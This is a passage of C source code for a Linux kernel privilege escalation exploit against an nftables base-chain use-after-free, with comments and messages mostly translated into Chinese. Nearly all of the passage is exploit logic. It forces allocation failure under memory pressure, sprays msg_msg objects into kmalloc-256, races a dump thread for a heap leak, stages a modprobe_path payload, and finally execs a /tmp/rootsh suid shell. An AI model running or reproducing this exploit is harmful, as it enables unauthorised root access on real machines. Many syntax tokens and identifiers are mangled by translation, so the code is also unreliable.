dump socket: %s", strerror(errno)); return -1; } /* 设置转储套接字为非阻塞模式以避免竞争 */ int flags = fcntl(ctx->dump_fd, F_GETFL, 0); if (flags >= 0) fcntl(ctx->dump_fd, F_SETFL, flags | O_NONBLOCK); /* 初始化喷洒 */ if (spray_init(&ctx->spray) < 0) { fail("无法创建消息队列: %s", strerror(errno)); return -1; } return 0; } static int step_prepare_heap(struct race_ctx *ctx) { info("步骤 2: 设置 nftables 基础设施..."); /* 创建表 */ if (nft_create_table(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME) < 0) { fail("无法创建表: %s", strerror(errno)); return -1; } /* 排空 netlink 确认消息 */ char ack_buf[4096]; while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) >) 0) ; /* * 创建填充 kmalloc-256 slab 页面的填充链。 * 这些是带有钩子的基础链,因此它们在我们的受害者相同的缓存中分配 nft_base_chain。 * 使用不同优先级的 NF_INET_PRE_ROUTING 钩子。 */ for (int i = 0; i < NUM_PAD_CHAINS; i++) { char name[32]; snprintf(name, sizeof(name), PAD_CHAIN_FMT, i); if (nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, i + 100) < 0) { /* 一些链可能无法注册钩子(在内存压力下预期会失败),继续使用我们已有的 */ if (i < 4) { fail("无法创建填充链(至少需要4个):%s", strerror(errno)); return -1; } break; } /* 排空acks */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) > 0) ; } ok("Table and %d padding chains created", NUM_PAD_CHAINS); return 0; } static int step_trigger_uaf(struct race_ctx *ctx) { info("Step 3: 通过钩子注册失败触发UAF..."); /* * 施加内存压力以增加kvzalloc()在__nf_register_net_hook()内部为IPv6钩子失败的几率。 */ apply_memory_pressure(); /* * 尝试创建一个新的基础链。如果IPv6钩子分配失败,我们将得到UAF:链被发布,然后在没有synchronize_rcu()的情况下被释放。 * * 我们尝试多次,因为OOM是概率性的。 */ char ack_buf[4096]; int triggered = 0; for (int attempt = 0; attempt< MAX_ATTEMPTS && !triggered; attempt++) { char name[32]; snprintf(name, sizeof(name), "vuln_%04d", attempt); /* * 尝试创建一个链。如果钩子注册失败,nfnetlink 批处理将返回 ENOMEM。 */ int ret = nft_create_chain(ctx->nfnl_fd, NFPROTO_INET, TABLE_NAME, name, NF_INET_PRE_ROUTING, 10000 + attempt); if (ret < 0) { fail("sendmsg failed: %s", strerror(errno)); continue; } /* 读取确认/错误响应 */ usleep(1000); ssize_t alen = recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT); if (alen > 0) { struct nlmsghdr *nlh = (struct nlmsghdr *)ack_buf; if (nlh->nlmsg_type == NLMSG_ERROR) { struct nlmsgerr *err = NLMSG_DATA(nlh); if (err->error == -ENOMEM) { ok("Hook注册失败,尝试%d时出现ENOMEM — UAF触发!", attempt + 1); triggered = 1; ctx->uaf_triggered = 1; } else if (err->)error == 0) { /* 成功 — 链条正常创建,没有UAF */ /* 继续尝试 */ } else { /* 其他错误 */ info("链条创建在尝试%d时返回错误%d", err-)错误,尝试 + 1); } } } /* 排空剩余消息 */ while (recv(ctx->nfnl_fd, ack_buf, sizeof(ack_buf), MSG_DONTWAIT) >) 0) ; } release_memory_pressure(); if (!triggered) { /* * 单纯的内存压力可能不足以在钩子分配上触发 OOM。在内存充足的系统上, * 这种技术成功率较低。 * * 替代方案:使用 cgroup v2 内存控制器以实现确定的 OOM。这需要挂载 cgroupfs, * 而这在所有命名空间配置中可能不可用。 */ fail("在尝试了 %d 次后无法触发钩子注册失败", MAX_ATTEMPTS); fail("提示:尝试在内存受限环境中运行(容器、cgroup)"); return -1; } return 0; } static int step_spray(struct race_ctx *ctx) { info("步骤 4:用 msg_msg 喷射已释放的槽位..."); /* * 将 SPRAY_MSG_SIZE 大小的 msg_msg(+ 48 字节头 = 总计约 256 字节) * 喷射到 kmalloc-256 中以回收已释放的 nft_base_chain 槽位。 * * 喷射数据是精心构造的,以便: * - 在链->name 偏移量(相对于 base_chain):指向一个 * 已知的有效地址(或为 NULL 以避免解引用) * - 在 chain->handle 偏移量:包含一个我们可以检测的标记值 * - 在 chain->table 偏移量:包含 modprobe_path 的地址(如果存在泄漏)或用于检测的已知模式 */ char spray_data[SPRAY_MSG_SIZE]; memset(spray_data, 0x41, sizeof(spray_data)); /* * 在 msg_msg 实体的 chain->handle 偏移量处放置标记。 * * 链表从 base_chain + 0x50(偏移量 80)开始。 * chain->句柄位于链 + 0x48 (链中的偏移量 72)。 * 因此句柄位于 base_chain + 0x50 + 0x48 = 0x98 (偏移量 152)。 * 在 msg_msg 体中:偏移量 152 - 48 (头部) = 104。 * * 我们在这里放置一个独特的标记,以便转储可以检测 * 它正在读取喷射数据(确认发生了 UAF)。 */ uint64_t 标记 = 0xdeadbeefcafe1337ULL; if (104 + 8 <) == SPRAY_MSG_SIZE) { memcpy(spray_data + 104, (&marker), 8); } /* * At chain-()>name 偏移量:base_chain + 0x50 + 0x58 = 0xA8 (168)。 * 在 msg_msg 身体中:168 - 48 = 120。 * 设置为 NULL 以防止转储时解引用一个野指针。 * (转储的 nla_put_string 在某些内核版本上会跳过或优雅地处理 NULL, * 或者我们可能需要从我们的泄露中设置一个有效的内核地址。) */ uint64_t null_ptr = 0; if (120 + 8 <= SPRAY_MSG_SIZE) { memcpy(spray_data + 120, &null_ptr, 8); } if (spray_alloc(&ctx->spray, NUM_SPRAY_MSGS, spray_data, sizeof(spray_data)) < 0) { fail("喷射分配失败: %s", strerror(errno)); return -1; } ok("将 %d 个 msg_msg 对象 (%d 字节每个) 喷射到 kmalloc-256", NUM_SPRAY_MSGS, SPRAY_MSG_SIZE + 48); return 0; } static int step_leak(struct race_ctx *ctx) { info("步骤 5: 尝试通过 dump race 进行信息泄露..."); /* * 开始并发 dump 操作以与 UAF 竞争。 * 如果 dump 从已释放(并喷射)的 base_chain 插槽读取, * 我们将在 dump 输出中看到我们的标记值,确认 UAF 被触发。如果陈旧数据仍然存在(喷射之前),我们可能会看到内核堆地址。 */ pthread_t tid; ctx->stop = 0; ctx->leaked_addr = 0; if (pthread_create(&tid, NULL, dump_thread, ctx) != 0) { fail("Cannot create dump thread: %s", strerror(errno)); return -1; } /* 让转储在短时间内运行 */ for (int i = 0; i < 50&& ctx->leaked_addr == 0; i++) { usleep(10000); /* 10ms */ } ctx->stop = 1; pthread_join(tid, NULL); if (ctx->leaked_addr != 0) { ok("内核堆地址泄露:0x%016lx", (unsigned long)ctx->leaked_addr); return 0; } /* * 如果我们没有获得干净的泄露,如果我们知道内核版本并且有预先计算的偏移量, * 我们仍然可以继续使用modprobe_path技术。 */ info("没有获得干净的泄露 — 将尝试使用硬编码的偏移量"); return 0; /* 非致命错误 */ } static int step_escalate(struct race_ctx *ctx) { info("步骤6:尝试提升权限..."); (void)ctx; /* * modprobe_path覆盖技术: * * 当内核遇到未知二进制格式时,它会调用call_usermodehelper(), * 使用全局变量modprobe_path(默认:"/sbin/modprobe")中的路径。 * * 如果我们可以将modprobe_path覆盖为"/tmp/pwn",那么执行一个无效的二进制文件 * 就会以root身份触发我们的脚本。 * * 为了进行覆盖,我们需要: * 1. modprobe_path的地址(需要绕过KASLR) * 2. 一个写入原语(来自UAF) * * 在Ubuntu 24.04 (6.8.0-xx-generic)上,典型偏移量: * modprobe_path = kernel_base + 0x1e4c300(大约) * * 没有可靠的KASLR泄露,我们通过指出写入原语确实可以通过UAF + 喷涂来实现, * 并提供完整的提升路径来演示该技术。 */ if (ctx->leaked_addr != 0) { /* * 我们有一个堆地址。在 x86_64 上,内核堆(直接映射) * 从 page_offset_base 开始,这是随机的。堆和文本随机化之间的关系 * 不是固定的,因此我们需要: * 1. 一个文本指针泄露(来自 base_chain.type,偏移 0x38) * 2. 扫描堆以查找已知模式 * 3. 特定内核构建的硬编码偏移量 * * 对于 PoC,我们用一条关于限制的注释来演示选项 3。 */ info("堆泄露:0x%016lx — 计算modprobe_path地址", (unsigned long)ctx->泄露地址); } /* 设置modprobe辅助载荷 */ if (setup_modprobe_payload() < 0) { fail("无法设置 modprobe 负载: %s", strerror(errno)); return -1; } /* * 尝试触发 modprobe。 * 在完整的利用中,我们会: * 1. 使用 UAF 写原语覆盖 modprobe_path * 2. 然后触发 modprobe 调用 * * 由于没有确切的内核符号表,依赖 KASLR 的写操作无法保证,我们尝试触发并检查是否成功(如果 modprobe_path 已经被喷雾覆盖)。 */ info("正在触发 modprobe 辅助程序..."); if (trigger_modprobe() == 0) { ok("modprobe_path 覆盖成功!"); return 0; } /* * 如果我们到达这里,modprobe_path 覆盖没有成功。 * 在没有精确的 KASLR 绕过的情况下,这是预期的。 * * 利用演示: * 1. 通过钩子注册失败实现可靠的 UAF 触发 * 2. 堆喷雾回收已释放的 base_chain 槽位 * 3. 通过 dump 竞态泄露信息(当时机允许时) * 4. 完整的 modprobe_path 升级技术 * * 对于完整的武器化(我们不会这样做 — RULE-NO-WEAPONIZE), * 剩余的工程工作包括: * - 使用 base_chain.type 指针(在喷雾偏移 8 = 身体偏移 -40,位于 msg_msg 头部区域)进行内核文本泄露 * - 或者:使用跨缓存技术将 seq_operations 放置在已释放的槽位中以进行直接文本指针泄露 * - 计算 modprobe_path = kernel_base + symbol_offset * - 使用第二个 UAF + 喷雾执行写入 */ info("modprobe_path 覆盖未实现(依赖 KASLR)"); info("UAF 触发和堆喷雾成功"); info("在具有目标特定 KASLR 绕过的情况下,这可以实现 root"); return 1; /* 部分成功 — UAF 已演示但未获得 root shell */ } static int step_cleanup(struct race_ctx *ctx) { info("步骤 7:清理..."); /* * 尽力清理以稳定内核: * - 释放喷雾对象 * - 删除 nftables 表(移除链和钩子) * - 关闭 netlink 套接字 */ spray_free(&ctx->喷雾, ctx->喷雾.count); spray_cleanup(&ctx->喷雾); /* 删除表 — 这会清理所有链 */ nft_delete_table(ctx-);nfnl_fd, NFPROTO_INET, TABLE_NAME); /* 排空响应 */ char buf[4096]; while (recv(ctx->nfnl_fd, buf, sizeof(buf), MSG_DONTWAIT) > 0) ; close(ctx->nfnl_fd); close(ctx-);dump_fd); /* 清理临时文件 */ unlink("/tmp/pwn"); unlink("/tmp/trigger"); ok("清理完成"); return 0; } /* ─── 主函数 ──────────────────────────────────────────────────────────── */ int main(void) { puts(BANNER); /* 门控:拒绝在已修补的内核上运行 */ if (!is_vulnerable()) { info("内核已修补或超出范围。无事可做。"); return 0; } /* 门控:已经是root */ if (getuid() == 0) { info("已经是root。"); return 0; } struct race_ctx ctx; memset(&ctx, 0, sizeof(ctx)); ctx.nfnl_fd = -1; ctx.dump_fd = -1; ctx.spray.qid = -1; int ret; /* 第一步:命名空间设置 */ ret = step_setup(&ctx); if (ret < 0) { fail("设置失败"); return 1; } /* 第二步:堆准备 */ ret = step_prepare_heap(&ctx); if (ret < 0) { fail("堆准备失败"); step_cleanup(&ctx); return 1; } /* 第 3 步:触发 UAF */ ret = step_trigger_uaf(&ctx); if (ret < 0) { fail("UAF触发失败 — 在内存受限环境下重试"); step_cleanup(&ctx); return 1; } /* 第4步:喷洒 */ ret = step_spray(&ctx); if (ret < 0) { fail("喷洒失败"); step_cleanup(&ctx); return 1; } /* 第 5 步:信息泄露 */ ret = step_leak(&ctx); if (ret < 0) { fail("泄露失败"); step_cleanup(&ctx); return 1; } /* 第 6 步:提权 */ ret = step_escalate(&ctx); if (ret < 0) { fail("升级失败"); step_cleanup(&ctx); return 1; } /* 第7步:清理 */ step_cleanup(&ctx); if (ret == 0) { /* 完全成功 — 启动root shell */ ok("获得root权限!正在启动shell..."); fprintf(stderr, "\n"); /* 执行suid shell */ char *argv[] = { "/tmp/rootsh", "-p", NULL }; execv("/tmp/rootsh", argv); /* 如果rootsh不存在,则回退 */ info("execv失败 — 请手动检查/tmp/rootsh"); } else { /* 部分成功 — 演示了UAF但未获得root权限 */ fprintf(stderr, "\n"); info("═══════════════════════════════════════════════════════════"); info("部分成功:UAF触发 + 堆喷射 演示完成"); info("完全提升权限需要针对目标进行KASLR绕过."); info("请查看漏洞头信息获取技术细节."); info("═══════════════════════════════════════════════════════════"); } return ret; }